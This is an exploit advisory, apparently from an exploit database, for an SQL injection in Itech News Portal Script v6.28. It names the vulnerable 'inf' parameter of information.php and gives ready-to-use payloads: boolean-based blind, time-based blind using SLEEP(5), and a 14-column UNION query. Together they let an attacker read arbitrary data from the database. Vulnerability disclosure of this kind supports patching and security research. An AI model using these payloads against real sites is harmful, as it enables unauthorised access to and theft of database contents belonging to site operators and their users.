Itech News Portal Script 6.28 SQL Injection

`Exploit Title: Itech News Portal Script v6.28 a SQL Injection  
Date: 30.01.2017  
Vendor Homepage: http://itechscripts.com/  
Software Link: http://itechscripts.com/news-portal-script/  
Exploit Author: Kaan KAMIS  
Contact: iletisim[at]k2an[dot]com  
Website: http://k2an.com  
Category: Web Application Exploits  
  
Overview  
  
News Portal Script v6.28 is a CMS Software developed as a news broadcasting portal. This product is considered as the best in this category.  
  
Type of vulnerability:  
  
An SQL Injection vulnerability in News Portal Script v6.28 allows attackers to read  
arbitrary data from the database.  
  
Vulnerability:  
  
http://localhost/news-portal-script/information.php?inf=22[payload]  
  
Parameter: inf (GET)  
Type: boolean-based blind  
Title: AND boolean-based blind - WHERE or HAVING clause  
Payload: inf=22 AND 3993=3993  
  
Type: AND/OR time-based blind  
Title: MySQL >= 5.0.12 OR time-based blind  
Payload: inf=22 OR SLEEP(5)  
  
Type: UNION query  
Title: Generic UNION query (NULL) - 14 columns  
Payload: inf=-1695 UNION ALL SELECT CONCAT(0x716a787171,0x7356527144546c6e6b47714b49415759595952764c734a657165476f4d496e534e565668666f786f,0x7178787671),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- trhS  
  
`